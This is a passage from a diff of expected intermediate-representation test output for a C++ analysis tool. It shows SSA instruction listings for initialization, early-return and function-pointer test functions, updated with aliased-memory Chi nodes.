r0_34(int) = Constant[0] : +# 506| m0_35(int) = Store : r0_33, r0_34 +# 506| m0_36(Point) = Chi : m0_32, m0_35 +# 506| r0_37(glval) = FieldAddress[y] : r0_31 +# 506| r0_38(int) = Constant[0] : +# 506| m0_39(int) = Store : r0_37, r0_38 +# 506| m0_40(Point) = Chi : m0_36, m0_39 +# 508| r0_41(glval) = VariableAddress[x1] : +# 508| r0_42(int) = Constant[1] : +# 508| m0_43(int) = Store : r0_41, r0_42 +# 509| r0_44(glval) = VariableAddress[x2] : +# 509| r0_45(int) = Constant[0] : +# 509| m0_46(int) = Store : r0_44, r0_45 +# 510| v0_47(void) = NoOp : +# 503| v0_48(void) = ReturnVoid : +# 503| v0_49(void) = UnmodeledUse : mu* +# 503| v0_50(void) = ExitFunction : # 512| NestedInitList(int, float) -> void # 512| Block 0 # 512| v0_0(void) = EnterFunction : -# 512| mu0_1(unknown) = UnmodeledDefinition : -# 512| r0_2(glval) = VariableAddress[x] : -# 512| m0_3(int) = InitializeParameter[x] : r0_2 -# 512| r0_4(glval) = VariableAddress[f] : -# 512| m0_5(float) = InitializeParameter[f] : r0_4 -# 513| r0_6(glval) = VariableAddress[r1] : -# 513| m0_7(Rect) = Uninitialized : r0_6 -# 513| r0_8(glval) = FieldAddress[topLeft] : r0_6 -# 513| r0_9(Point) = Constant[0] : -# 513| m0_10(Point) = Store : r0_8, r0_9 -# 513| r0_11(glval) = FieldAddress[bottomRight] : r0_6 -# 513| r0_12(Point) = Constant[0] : -# 513| mu0_13(Point) = Store : r0_11, r0_12 -# 514| r0_14(glval) = VariableAddress[r2] : -# 514| m0_15(Rect) = Uninitialized : r0_14 -# 514| r0_16(glval) = FieldAddress[topLeft] : r0_14 -# 514| r0_17(glval) = FieldAddress[x] : r0_16 -# 514| r0_18(glval) = VariableAddress[x] : -# 514| r0_19(int) = Load : r0_18, m0_3 -# 514| m0_20(int) = Store : r0_17, r0_19 -# 514| r0_21(glval) = FieldAddress[y] : r0_16 -# 514| r0_22(glval) = VariableAddress[f] : -# 514| r0_23(float) = Load : r0_22, m0_5 -# 514| r0_24(int) = Convert : r0_23 -# 514| mu0_25(int) = Store : r0_21, r0_24 -# 514| r0_26(glval) = FieldAddress[bottomRight] : r0_14 -# 514| r0_27(Point) = Constant[0] : -# 514| mu0_28(Point) = Store : r0_26, r0_27 -# 515| r0_29(glval) = VariableAddress[r3] : -# 515| m0_30(Rect) = Uninitialized : r0_29 -# 515| r0_31(glval) = FieldAddress[topLeft] : r0_29 -# 515| r0_32(glval) = FieldAddress[x] : r0_31 -# 515| r0_33(glval) = VariableAddress[x] : -# 515| r0_34(int) = Load : r0_33, m0_3 -# 515| m0_35(int) = Store : r0_32, r0_34 -# 515| r0_36(glval) = FieldAddress[y] : r0_31 -# 515| r0_37(glval) = VariableAddress[f] : -# 515| r0_38(float) = Load : r0_37, m0_5 -# 515| r0_39(int) = Convert : r0_38 -# 515| mu0_40(int) = Store : r0_36, r0_39 -# 515| r0_41(glval) = FieldAddress[bottomRight] : r0_29 -# 515| r0_42(glval) = FieldAddress[x] : r0_41 -# 515| r0_43(glval) = VariableAddress[x] : -# 515| r0_44(int) = Load : r0_43, m0_3 -# 515| mu0_45(int) = Store : r0_42, r0_44 -# 515| r0_46(glval) = FieldAddress[y] : r0_41 -# 515| r0_47(glval) = VariableAddress[f] : -# 515| r0_48(float) = Load : r0_47, m0_5 -# 515| r0_49(int) = Convert : r0_48 -# 515| mu0_50(int) = Store : r0_46, r0_49 -# 516| r0_51(glval) = VariableAddress[r4] : -# 516| m0_52(Rect) = Uninitialized : r0_51 -# 516| r0_53(glval) = FieldAddress[topLeft] : r0_51 -# 516| r0_54(glval) = FieldAddress[x] : r0_53 -# 516| r0_55(glval) = VariableAddress[x] : -# 516| r0_56(int) = Load : r0_55, m0_3 -# 516| m0_57(int) = Store : r0_54, r0_56 -# 516| r0_58(glval) = FieldAddress[y] : r0_53 -# 516| r0_59(int) = Constant[0] : -# 516| mu0_60(int) = Store : r0_58, r0_59 -# 516| r0_61(glval) = FieldAddress[bottomRight] : r0_51 -# 516| r0_62(glval) = FieldAddress[x] : r0_61 -# 516| r0_63(glval) = VariableAddress[x] : -# 516| r0_64(int) = Load : r0_63, m0_3 -# 516| mu0_65(int) = Store : r0_62, r0_64 -# 516| r0_66(glval) = FieldAddress[y] : r0_61 -# 516| r0_67(int) = Constant[0] : -# 516| mu0_68(int) = Store : r0_66, r0_67 -# 517| v0_69(void) = NoOp : -# 512| v0_70(void) = ReturnVoid : -# 512| v0_71(void) = UnmodeledUse : mu* -# 512| v0_72(void) = ExitFunction : +# 512| m0_1(unknown) = AliasedDefinition : +# 512| mu0_2(unknown) = UnmodeledDefinition : +# 512| r0_3(glval) = VariableAddress[x] : +# 512| m0_4(int) = InitializeParameter[x] : r0_3 +# 512| r0_5(glval) = VariableAddress[f] : +# 512| m0_6(float) = InitializeParameter[f] : r0_5 +# 513| r0_7(glval) = VariableAddress[r1] : +# 513| m0_8(Rect) = Uninitialized[r1] : r0_7 +# 513| r0_9(glval) = FieldAddress[topLeft] : r0_7 +# 513| r0_10(Point) = Constant[0] : +# 513| m0_11(Point) = Store : r0_9, r0_10 +# 513| m0_12(Rect) = Chi : m0_8, m0_11 +# 513| r0_13(glval) = FieldAddress[bottomRight] : r0_7 +# 513| r0_14(Point) = Constant[0] : +# 513| m0_15(Point) = Store : r0_13, r0_14 +# 513| m0_16(Rect) = Chi : m0_12, m0_15 +# 514| r0_17(glval) = VariableAddress[r2] : +# 514| m0_18(Rect) = Uninitialized[r2] : r0_17 +# 514| r0_19(glval) = FieldAddress[topLeft] : r0_17 +# 514| r0_20(glval) = FieldAddress[x] : r0_19 +# 514| r0_21(glval) = VariableAddress[x] : +# 514| r0_22(int) = Load : r0_21, m0_4 +# 514| m0_23(int) = Store : r0_20, r0_22 +# 514| m0_24(Rect) = Chi : m0_18, m0_23 +# 514| r0_25(glval) = FieldAddress[y] : r0_19 +# 514| r0_26(glval) = VariableAddress[f] : +# 514| r0_27(float) = Load : r0_26, m0_6 +# 514| r0_28(int) = Convert : r0_27 +# 514| m0_29(int) = Store : r0_25, r0_28 +# 514| m0_30(Rect) = Chi : m0_24, m0_29 +# 514| r0_31(glval) = FieldAddress[bottomRight] : r0_17 +# 514| r0_32(Point) = Constant[0] : +# 514| m0_33(Point) = Store : r0_31, r0_32 +# 514| m0_34(Rect) = Chi : m0_30, m0_33 +# 515| r0_35(glval) = VariableAddress[r3] : +# 515| m0_36(Rect) = Uninitialized[r3] : r0_35 +# 515| r0_37(glval) = FieldAddress[topLeft] : r0_35 +# 515| r0_38(glval) = FieldAddress[x] : r0_37 +# 515| r0_39(glval) = VariableAddress[x] : +# 515| r0_40(int) = Load : r0_39, m0_4 +# 515| m0_41(int) = Store : r0_38, r0_40 +# 515| m0_42(Rect) = Chi : m0_36, m0_41 +# 515| r0_43(glval) = FieldAddress[y] : r0_37 +# 515| r0_44(glval) = VariableAddress[f] : +# 515| r0_45(float) = Load : r0_44, m0_6 +# 515| r0_46(int) = Convert : r0_45 +# 515| m0_47(int) = Store : r0_43, r0_46 +# 515| m0_48(Rect) = Chi : m0_42, m0_47 +# 515| r0_49(glval) = FieldAddress[bottomRight] : r0_35 +# 515| r0_50(glval) = FieldAddress[x] : r0_49 +# 515| r0_51(glval) = VariableAddress[x] : +# 515| r0_52(int) = Load : r0_51, m0_4 +# 515| m0_53(int) = Store : r0_50, r0_52 +# 515| m0_54(Rect) = Chi : m0_48, m0_53 +# 515| r0_55(glval) = FieldAddress[y] : r0_49 +# 515| r0_56(glval) = VariableAddress[f] : +# 515| r0_57(float) = Load : r0_56, m0_6 +# 515| r0_58(int) = Convert : r0_57 +# 515| m0_59(int) = Store : r0_55, r0_58 +# 515| m0_60(Rect) = Chi : m0_54, m0_59 +# 516| r0_61(glval) = VariableAddress[r4] : +# 516| m0_62(Rect) = Uninitialized[r4] : r0_61 +# 516| r0_63(glval) = FieldAddress[topLeft] : r0_61 +# 516| r0_64(glval) = FieldAddress[x] : r0_63 +# 516| r0_65(glval) = VariableAddress[x] : +# 516| r0_66(int) = Load : r0_65, m0_4 +# 516| m0_67(int) = Store : r0_64, r0_66 +# 516| m0_68(Rect) = Chi : m0_62, m0_67 +# 516| r0_69(glval) = FieldAddress[y] : r0_63 +# 516| r0_70(int) = Constant[0] : +# 516| m0_71(int) = Store : r0_69, r0_70 +# 516| m0_72(Rect) = Chi : m0_68, m0_71 +# 516| r0_73(glval) = FieldAddress[bottomRight] : r0_61 +# 516| r0_74(glval) = FieldAddress[x] : r0_73 +# 516| r0_75(glval) = VariableAddress[x] : +# 516| r0_76(int) = Load : r0_75, m0_4 +# 516| m0_77(int) = Store : r0_74, r0_76 +# 516| m0_78(Rect) = Chi : m0_72, m0_77 +# 516| r0_79(glval) = FieldAddress[y] : r0_73 +# 516| r0_80(int) = Constant[0] : +# 516| m0_81(int) = Store : r0_79, r0_80 +# 516| m0_82(Rect) = Chi : m0_78, m0_81 +# 517| v0_83(void) = NoOp : +# 512| v0_84(void) = ReturnVoid : +# 512| v0_85(void) = UnmodeledUse : mu* +# 512| v0_86(void) = ExitFunction : # 519| ArrayInit(int, float) -> void # 519| Block 0 # 519| v0_0(void) = EnterFunction : -# 519| mu0_1(unknown) = UnmodeledDefinition : -# 519| r0_2(glval) = VariableAddress[x] : -# 519| m0_3(int) = InitializeParameter[x] : r0_2 -# 519| r0_4(glval) = VariableAddress[f] : -# 519| m0_5(float) = InitializeParameter[f] : r0_4 -# 520| r0_6(glval) = VariableAddress[a1] : -# 520| mu0_7(int[3]) = Uninitialized : r0_6 -# 520| r0_8(int) = Constant[0] : -# 520| r0_9(glval) = PointerAdd : r0_6, r0_8 -# 520| r0_10(unknown[12]) = Constant[0] : -# 520| mu0_11(unknown[12]) = Store : r0_9, r0_10 -# 521| r0_12(glval) = VariableAddress[a2] : -# 521| mu0_13(int[3]) = Uninitialized : r0_12 -# 521| r0_14(int) = Constant[0] : -# 521| r0_15(glval) = PointerAdd : r0_12, r0_14 -# 521| r0_16(glval) = VariableAddress[x] : -# 521| r0_17(int) = Load : r0_16, m0_3 -# 521| mu0_18(int) = Store : r0_15, r0_17 -# 521| r0_19(int) = Constant[1] : -# 521| r0_20(glval) = PointerAdd : r0_12, r0_19 -# 521| r0_21(glval) = VariableAddress[f] : -# 521| r0_22(float) = Load : r0_21, m0_5 -# 521| r0_23(int) = Convert : r0_22 -# 521| mu0_24(int) = Store : r0_20, r0_23 -# 521| r0_25(int) = Constant[2] : -# 521| r0_26(glval) = PointerAdd : r0_12, r0_25 -# 521| r0_27(int) = Constant[0] : -# 521| mu0_28(int) = Store : r0_26, r0_27 -# 522| r0_29(glval) = VariableAddress[a3] : -# 522| mu0_30(int[3]) = Uninitialized : r0_29 -# 522| r0_31(int) = Constant[0] : -# 522| r0_32(glval) = PointerAdd : r0_29, r0_31 -# 522| r0_33(glval) = VariableAddress[x] : -# 522| r0_34(int) = Load : r0_33, m0_3 -# 522| mu0_35(int) = Store : r0_32, r0_34 -# 522| r0_36(int) = Constant[1] : -# 522| r0_37(glval) = PointerAdd : r0_29, r0_36 -# 522| r0_38(unknown[8]) = Constant[0] : -# 522| mu0_39(unknown[8]) = Store : r0_37, r0_38 -# 523| v0_40(void) = NoOp : -# 519| v0_41(void) = ReturnVoid : -# 519| v0_42(void) = UnmodeledUse : mu* -# 519| v0_43(void) = ExitFunction : +# 519| m0_1(unknown) = AliasedDefinition : +# 519| mu0_2(unknown) = UnmodeledDefinition : +# 519| r0_3(glval) = VariableAddress[x] : +# 519| m0_4(int) = InitializeParameter[x] : r0_3 +# 519| r0_5(glval) = VariableAddress[f] : +# 519| m0_6(float) = InitializeParameter[f] : r0_5 +# 520| r0_7(glval) = VariableAddress[a1] : +# 520| m0_8(int[3]) = Uninitialized[a1] : r0_7 +# 520| m0_9(unknown) = Chi : m0_1, m0_8 +# 520| r0_10(int) = Constant[0] : +# 520| r0_11(glval) = PointerAdd : r0_7, r0_10 +# 520| r0_12(unknown[12]) = Constant[0] : +# 520| m0_13(unknown[12]) = Store : r0_11, r0_12 +# 520| m0_14(unknown) = Chi : m0_9, m0_13 +# 521| r0_15(glval) = VariableAddress[a2] : +# 521| m0_16(int[3]) = Uninitialized[a2] : r0_15 +# 521| m0_17(unknown) = Chi : m0_14, m0_16 +# 521| r0_18(int) = Constant[0] : +# 521| r0_19(glval) = PointerAdd : r0_15, r0_18 +# 521| r0_20(glval) = VariableAddress[x] : +# 521| r0_21(int) = Load : r0_20, m0_4 +# 521| m0_22(int) = Store : r0_19, r0_21 +# 521| m0_23(unknown) = Chi : m0_17, m0_22 +# 521| r0_24(int) = Constant[1] : +# 521| r0_25(glval) = PointerAdd : r0_15, r0_24 +# 521| r0_26(glval) = VariableAddress[f] : +# 521| r0_27(float) = Load : r0_26, m0_6 +# 521| r0_28(int) = Convert : r0_27 +# 521| m0_29(int) = Store : r0_25, r0_28 +# 521| m0_30(unknown) = Chi : m0_23, m0_29 +# 521| r0_31(int) = Constant[2] : +# 521| r0_32(glval) = PointerAdd : r0_15, r0_31 +# 521| r0_33(int) = Constant[0] : +# 521| m0_34(int) = Store : r0_32, r0_33 +# 521| m0_35(unknown) = Chi : m0_30, m0_34 +# 522| r0_36(glval) = VariableAddress[a3] : +# 522| m0_37(int[3]) = Uninitialized[a3] : r0_36 +# 522| m0_38(unknown) = Chi : m0_35, m0_37 +# 522| r0_39(int) = Constant[0] : +# 522| r0_40(glval) = PointerAdd : r0_36, r0_39 +# 522| r0_41(glval) = VariableAddress[x] : +# 522| r0_42(int) = Load : r0_41, m0_4 +# 522| m0_43(int) = Store : r0_40, r0_42 +# 522| m0_44(unknown) = Chi : m0_38, m0_43 +# 522| r0_45(int) = Constant[1] : +# 522| r0_46(glval) = PointerAdd : r0_36, r0_45 +# 522| r0_47(unknown[8]) = Constant[0] : +# 522| m0_48(unknown[8]) = Store : r0_46, r0_47 +# 522| m0_49(unknown) = Chi : m0_44, m0_48 +# 523| v0_50(void) = NoOp : +# 519| v0_51(void) = ReturnVoid : +# 519| v0_52(void) = UnmodeledUse : mu* +# 519| v0_53(void) = ExitFunction : # 530| UnionInit(int, float) -> void # 530| Block 0 # 530| v0_0(void) = EnterFunction : -# 530| mu0_1(unknown) = UnmodeledDefinition : -# 530| r0_2(glval) = VariableAddress[x] : -# 530| m0_3(int) = InitializeParameter[x] : r0_2 -# 530| r0_4(glval) = VariableAddress[f] : -# 530| m0_5(float) = InitializeParameter[f] : r0_4 -# 531| r0_6(glval) = VariableAddress[u1] : -# 531| m0_7(U) = Uninitialized : r0_6 -# 531| r0_8(glval) = FieldAddress[d] : r0_6 -# 531| r0_9(glval) = VariableAddress[f] : -# 531| r0_10(float) = Load : r0_9, m0_5 -# 531| r0_11(double) = Convert : r0_10 -# 531| m0_12(double) = Store : r0_8, r0_11 -# 533| v0_13(void) = NoOp : -# 530| v0_14(void) = ReturnVoid : -# 530| v0_15(void) = UnmodeledUse : mu* -# 530| v0_16(void) = ExitFunction : +# 530| m0_1(unknown) = AliasedDefinition : +# 530| mu0_2(unknown) = UnmodeledDefinition : +# 530| r0_3(glval) = VariableAddress[x] : +# 530| m0_4(int) = InitializeParameter[x] : r0_3 +# 530| r0_5(glval) = VariableAddress[f] : +# 530| m0_6(float) = InitializeParameter[f] : r0_5 +# 531| r0_7(glval) = VariableAddress[u1] : +# 531| m0_8(U) = Uninitialized[u1] : r0_7 +# 531| r0_9(glval) = FieldAddress[d] : r0_7 +# 531| r0_10(glval) = VariableAddress[f] : +# 531| r0_11(float) = Load : r0_10, m0_6 +# 531| r0_12(double) = Convert : r0_11 +# 531| m0_13(double) = Store : r0_9, r0_12 +# 533| v0_14(void) = NoOp : +# 530| v0_15(void) = ReturnVoid : +# 530| v0_16(void) = UnmodeledUse : mu* +# 530| v0_17(void) = ExitFunction : # 535| EarlyReturn(int, int) -> void # 535| Block 0 # 535| v0_0(void) = EnterFunction : -# 535| mu0_1(unknown) = UnmodeledDefinition : -# 535| r0_2(glval) = VariableAddress[x] : -# 535| m0_3(int) = InitializeParameter[x] : r0_2 -# 535| r0_4(glval) = VariableAddress[y] : -# 535| m0_5(int) = InitializeParameter[y] : r0_4 -# 536| r0_6(glval) = VariableAddress[x] : -# 536| r0_7(int) = Load : r0_6, m0_3 -# 536| r0_8(glval) = VariableAddress[y] : -# 536| r0_9(int) = Load : r0_8, m0_5 -# 536| r0_10(bool) = CompareLT : r0_7, r0_9 -# 536| v0_11(void) = ConditionalBranch : r0_10 +# 535| m0_1(unknown) = AliasedDefinition : +# 535| mu0_2(unknown) = UnmodeledDefinition : +# 535| r0_3(glval) = VariableAddress[x] : +# 535| m0_4(int) = InitializeParameter[x] : r0_3 +# 535| r0_5(glval) = VariableAddress[y] : +# 535| m0_6(int) = InitializeParameter[y] : r0_5 +# 536| r0_7(glval) = VariableAddress[x] : +# 536| r0_8(int) = Load : r0_7, m0_4 +# 536| r0_9(glval) = VariableAddress[y] : +# 536| r0_10(int) = Load : r0_9, m0_6 +# 536| r0_11(bool) = CompareLT : r0_8, r0_10 +# 536| v0_12(void) = ConditionalBranch : r0_11 #-----| False -> Block 3 #-----| True -> Block 2 @@ -2407,7 +2473,7 @@ ir.cpp: # 540| Block 3 # 540| r3_0(glval) = VariableAddress[x] : -# 540| r3_1(int) = Load : r3_0, m0_3 +# 540| r3_1(int) = Load : r3_0, m0_4 # 540| r3_2(glval) = VariableAddress[y] : # 540| m3_3(int) = Store : r3_2, r3_1 # 541| v3_4(void) = NoOp : @@ -2416,17 +2482,18 @@ ir.cpp: # 543| EarlyReturnValue(int, int) -> int # 543| Block 0 # 543| v0_0(void) = EnterFunction : -# 543| mu0_1(unknown) = UnmodeledDefinition : -# 543| r0_2(glval) = VariableAddress[x] : -# 543| m0_3(int) = InitializeParameter[x] : r0_2 -# 543| r0_4(glval) = VariableAddress[y] : -# 543| m0_5(int) = InitializeParameter[y] : r0_4 -# 544| r0_6(glval) = VariableAddress[x] : -# 544| r0_7(int) = Load : r0_6, m0_3 -# 544| r0_8(glval) = VariableAddress[y] : -# 544| r0_9(int) = Load : r0_8, m0_5 -# 544| r0_10(bool) = CompareLT : r0_7, r0_9 -# 544| v0_11(void) = ConditionalBranch : r0_10 +# 543| m0_1(unknown) = AliasedDefinition : +# 543| mu0_2(unknown) = UnmodeledDefinition : +# 543| r0_3(glval) = VariableAddress[x] : +# 543| m0_4(int) = InitializeParameter[x] : r0_3 +# 543| r0_5(glval) = VariableAddress[y] : +# 543| m0_6(int) = InitializeParameter[y] : r0_5 +# 544| r0_7(glval) = VariableAddress[x] : +# 544| r0_8(int) = Load : r0_7, m0_4 +# 544| r0_9(glval) = VariableAddress[y] : +# 544| r0_10(int) = Load : r0_9, m0_6 +# 544| r0_11(bool) = CompareLT : r0_8, r0_10 +# 544| v0_12(void) = ConditionalBranch : r0_11 #-----| False -> Block 3 #-----| True -> Block 2 @@ -2440,16 +2507,16 @@ ir.cpp: # 545| Block 2 # 545| r2_0(glval) = VariableAddress[#return] : # 545| r2_1(glval) = VariableAddress[x] : -# 545| r2_2(int) = Load : r2_1, m0_3 +# 545| r2_2(int) = Load : r2_1, m0_4 # 545| m2_3(int) = Store : r2_0, r2_2 #-----| Goto -> Block 1 # 548| Block 3 # 548| r3_0(glval) = VariableAddress[#return] : # 548| r3_1(glval) = VariableAddress[x] : -# 548| r3_2(int) = Load : r3_1, m0_3 +# 548| r3_2(int) = Load : r3_1, m0_4 # 548| r3_3(glval) = VariableAddress[y] : -# 548| r3_4(int) = Load : r3_3, m0_5 +# 548| r3_4(int) = Load : r3_3, m0_6 # 548| r3_5(int) = Add : r3_2, r3_4 # 548| m3_6(int) = Store : r3_0, r3_5 #-----| Goto -> Block 1 @@ -2457,30 +2524,34 @@ ir.cpp: # 551| CallViaFuncPtr(..(*)(..)) -> int # 551| Block 0 # 551| v0_0(void) = EnterFunction : -# 551| mu0_1(unknown) = UnmodeledDefinition : -# 551| r0_2(glval<..(*)(..)>) = VariableAddress[pfn] : -# 551| m0_3(..(*)(..)) = InitializeParameter[pfn] : r0_2 -# 552| r0_4(glval) = VariableAddress[#return] : -# 552| r0_5(glval<..(*)(..)>) = VariableAddress[pfn] : -# 552| r0_6(..(*)(..)) = Load : r0_5, m0_3 -# 552| r0_7(int) = Constant[5] : -# 552| r0_8(int) = Call : r0_6, r0_7 -# 552| m0_9(int) = Store : r0_4, r0_8 -# 551| r0_10(glval) = VariableAddress[#return] : -# 551| v0_11(void) = ReturnValue : r0_10, m0_9 -# 551| v0_12(void) = UnmodeledUse : mu* -# 551| v0_13(void) = ExitFunction : +# 551| m0_1(unknown) = AliasedDefinition : +# 551| mu0_2(unknown) = UnmodeledDefinition : +# 551| r0_3(glval<..(*)(..)>) = VariableAddress[pfn] : +# 551| m0_4(..(*)(..)) = InitializeParameter[pfn] : r0_3 +# 552| r0_5(glval) = VariableAddress[#return] : +# 552| r0_6(glval<..(*)(..)>) = VariableAddress[pfn] : +# 552| r0_7(..(*)(..)) = Load : r0_6, m0_4 +# 552| r0_8(int) = Constant[5] : +# 552| r0_9(int) = Call : r0_7, r0_8 +# 552| m0_10(unknown) = ^CallSideEffect : m0_1 +# 552| m0_11(unknown) = Chi : m0_1, m0_10 +# 552| m0_12(int) = Store : r0_5, r0_9 +# 551| r0_13(glval) = VariableAddress[#return] : +# 551| v0_14(void) = ReturnValue : r0_13, m0_12 +# 551| v0_15(void) = UnmodeledUse : mu* +# 551| v0_16(void) = ExitFunction : # 560| EnumSwitch(E) -> int # 560| Block 0 # 560| v0_0(void) = EnterFunction : -# 560| mu0_1(unknown) = UnmodeledDefinition : -# 560| r0_2(glval) = VariableAddress[e] : -# 560| m0_3(E) = InitializeParameter[e] : r0_2 -# 561| r0_4(glval) = VariableAddress[e] : -# 561| r0_5(E) = Load : r0_4, m0_3 -# 561| r0_6(int) = Convert : r0_5 -# 561| v0_7(void) = Switch : r0_6 +# 560| m0_1(unknown) = AliasedDefinition : +# 560| mu0_2(unknown) = UnmodeledDefinition : +# 560| r0_3(glval) = VariableAddress[e] : +# 560| mu0_4(E) = InitializeParameter[e] : r0_3 +# 561| r0_5(glval) = VariableAddress[e] : +# 561| r0_6(E) = Load : r0_5, mu0_2 +# 561| r0_7(int) = Convert : r0_6 +# 561| v0_8(void) = Switch : r0_7 #-----| Case[0] -> Block 4 #-----| Case[1] -> Block 2 #-----| Default -> Block 3 @@ -2516,414 +2587,481 @@ ir.cpp: # 571| InitArray() -> void # 571| Block 0 # 571| v0_0(void) = EnterFunction : -# 571| mu0_1(unknown) = UnmodeledDefinition : -# 572| r0_2(glval) = VariableAddress[a_pad] : -# 572| r0_3(glval) = StringConstant[""] : -# 572| r0_4(char[1]) = Load : r0_3, mu0_1 -# 572| mu0_5(char[1]) = Store : r0_2, r0_4 -# 572| r0_6(unknown[31]) = Constant[0] : -# 572| r0_7(int) = Constant[1] : -# 572| r0_8(glval) = PointerAdd : r0_2, r0_7 -# 572| mu0_9(unknown[31]) = Store : r0_8, r0_6 -# 573| r0_10(glval) = VariableAddress[a_nopad] : -# 573| r0_11(glval) = StringConstant["foo"] : -# 573| r0_12(char[4]) = Load : r0_11, mu0_1 -# 573| m0_13(char[4]) = Store : r0_10, r0_12 -# 574| r0_14(glval) = VariableAddress[a_infer] : -# 574| r0_15(glval) = StringConstant["blah"] : -# 574| r0_16(char[5]) = Load : r0_15, mu0_1 -# 574| m0_17(char[5]) = Store : r0_14, r0_16 -# 575| r0_18(glval) = VariableAddress[b] : -# 575| m0_19(char[2]) = Uninitialized : r0_18 -# 576| r0_20(glval) = VariableAddress[c] : -# 576| mu0_21(char[2]) = Uninitialized : r0_20 -# 576| r0_22(int) = Constant[0] : -# 576| r0_23(glval) = PointerAdd : r0_20, r0_22 -# 576| r0_24(unknown[2]) = Constant[0] : -# 576| mu0_25(unknown[2]) = Store : r0_23, r0_24 -# 577| r0_26(glval) = VariableAddress[d] : -# 577| mu0_27(char[2]) = Uninitialized : r0_26 -# 577| r0_28(int) = Constant[0] : -# 577| r0_29(glval) = PointerAdd : r0_26, r0_28 -# 577| r0_30(char) = Constant[0] : -# 577| mu0_31(char) = Store : r0_29, r0_30 -# 577| r0_32(int) = Constant[1] : -# 577| r0_33(glval) = PointerAdd : r0_26, r0_32 -# 577| r0_34(char) = Constant[0] : -# 577| mu0_35(char) = Store : r0_33, r0_34 -# 578| r0_36(glval) = VariableAddress[e] : -# 578| mu0_37(char[2]) = Uninitialized : r0_36 -# 578| r0_38(int) = Constant[0] : -# 578| r0_39(glval) = PointerAdd : r0_36, r0_38 -# 578| r0_40(char) = Constant[0] : -# 578| mu0_41(char) = Store : r0_39, r0_40 -# 578| r0_42(int) = Constant[1] : -# 578| r0_43(glval) = PointerAdd : r0_36, r0_42 -# 578| r0_44(char) = Constant[1] : -# 578| mu0_45(char) = Store : r0_43, r0_44 -# 579| r0_46(glval) = VariableAddress[f] : -# 579| mu0_47(char[3]) = Uninitialized : r0_46 -# 579| r0_48(int) = Constant[0] : -# 579| r0_49(glval) = PointerAdd : r0_46, r0_48 -# 579| r0_50(char) = Constant[0] : -# 579| mu0_51(char) = Store : r0_49, r0_50 -# 579| r0_52(int) = Constant[1] : -# 579| r0_53(glval) = PointerAdd : r0_46, r0_52 -# 579| r0_54(unknown[2]) = Constant[0] : -# 579| mu0_55(unknown[2]) = Store : r0_53, r0_54 -# 580| v0_56(void) = NoOp : -# 571| v0_57(void) = ReturnVoid : -# 571| v0_58(void) = UnmodeledUse : mu* -# 571| v0_59(void) = ExitFunction : +# 571| m0_1(unknown) = AliasedDefinition : +# 571| mu0_2(unknown) = UnmodeledDefinition : +# 572| r0_3(glval) = VariableAddress[a_pad] : +# 572| r0_4(glval) = StringConstant[""] : +# 572| r0_5(char[1]) = Load : r0_4, m0_1 +# 572| m0_6(char[1]) = Store : r0_3, r0_5 +# 572| m0_7(unknown) = Chi : m0_1, m0_6 +# 572| r0_8(unknown[31]) = Constant[0] : +# 572| r0_9(int) = Constant[1] : +# 572| r0_10(glval) = PointerAdd : r0_3, r0_9 +# 572| m0_11(unknown[31]) = Store : r0_10, r0_8 +# 572| m0_12(unknown) = Chi : m0_7, m0_11 +# 573| r0_13(glval) = VariableAddress[a_nopad] : +# 573| r0_14(glval) = StringConstant["foo"] : +# 573| r0_15(char[4]) = Load : r0_14, m0_12 +# 573| m0_16(char[4]) = Store : r0_13, r0_15 +# 574| r0_17(glval) = VariableAddress[a_infer] : +# 574| r0_18(glval) = StringConstant["blah"] : +# 574| r0_19(char[5]) = Load : r0_18, m0_12 +# 574| m0_20(char[5]) = Store : r0_17, r0_19 +# 575| r0_21(glval) = VariableAddress[b] : +# 575| m0_22(char[2]) = Uninitialized[b] : r0_21 +# 576| r0_23(glval) = VariableAddress[c] : +# 576| m0_24(char[2]) = Uninitialized[c] : r0_23 +# 576| m0_25(unknown) = Chi : m0_12, m0_24 +# 576| r0_26(int) = Constant[0] : +# 576| r0_27(glval) = PointerAdd : r0_23, r0_26 +# 576| r0_28(unknown[2]) = Constant[0] : +# 576| m0_29(unknown[2]) = Store : r0_27, r0_28 +# 576| m0_30(unknown) = Chi : m0_25, m0_29 +# 577| r0_31(glval) = VariableAddress[d] : +# 577| m0_32(char[2]) = Uninitialized[d] : r0_31 +# 577| m0_33(unknown) = Chi : m0_30, m0_32 +# 577| r0_34(int) = Constant[0] : +# 577| r0_35(glval) = PointerAdd : r0_31, r0_34 +# 577| r0_36(char) = Constant[0] : +# 577| m0_37(char) = Store : r0_35, r0_36 +# 577| m0_38(unknown) = Chi : m0_33, m0_37 +# 577| r0_39(int) = Constant[1] : +# 577| r0_40(glval) = PointerAdd : r0_31, r0_39 +# 577| r0_41(char) = Constant[0] : +# 577| m0_42(char) = Store : r0_40, r0_41 +# 577| m0_43(unknown) = Chi : m0_38, m0_42 +# 578| r0_44(glval) = VariableAddress[e] : +# 578| m0_45(char[2]) = Uninitialized[e] : r0_44 +# 578| m0_46(unknown) = Chi : m0_43, m0_45 +# 578| r0_47(int) = Constant[0] : +# 578| r0_48(glval) = PointerAdd : r0_44, r0_47 +# 578| r0_49(char) = Constant[0] : +# 578| m0_50(char) = Store : r0_48, r0_49 +# 578| m0_51(unknown) = Chi : m0_46, m0_50 +# 578| r0_52(int) = Constant[1] : +# 578| r0_53(glval) = PointerAdd : r0_44, r0_52 +# 578| r0_54(char) = Constant[1] : +# 578| m0_55(char) = Store : r0_53, r0_54 +# 578| m0_56(unknown) = Chi : m0_51, m0_55 +# 579| r0_57(glval) = VariableAddress[f] : +# 579| m0_58(char[3]) = Uninitialized[f] : r0_57 +# 579| m0_59(unknown) = Chi : m0_56, m0_58 +# 579| r0_60(int) = Constant[0] : +# 579| r0_61(glval) = PointerAdd : r0_57, r0_60 +# 579| r0_62(char) = Constant[0] : +# 579| m0_63(char) = Store : r0_61, r0_62 +# 579| m0_64(unknown) = Chi : m0_59, m0_63 +# 579| r0_65(int) = Constant[1] : +# 579| r0_66(glval) = PointerAdd : r0_57, r0_65 +# 579| r0_67(unknown[2]) = Constant[0] : +# 579| m0_68(unknown[2]) = Store : r0_66, r0_67 +# 579| m0_69(unknown) = Chi : m0_64, m0_68 +# 580| v0_70(void) = NoOp : +# 571| v0_71(void) = ReturnVoid : +# 571| v0_72(void) = UnmodeledUse : mu* +# 571| v0_73(void) = ExitFunction : # 584| VarArgs() -> void # 584| Block 0 # 584| v0_0(void) = EnterFunction : -# 584| mu0_1(unknown) = UnmodeledDefinition : -# 585| r0_2(glval) = FunctionAddress[VarArgFunction] : -# 585| r0_3(glval) = StringConstant["%d %s"] : -# 585| 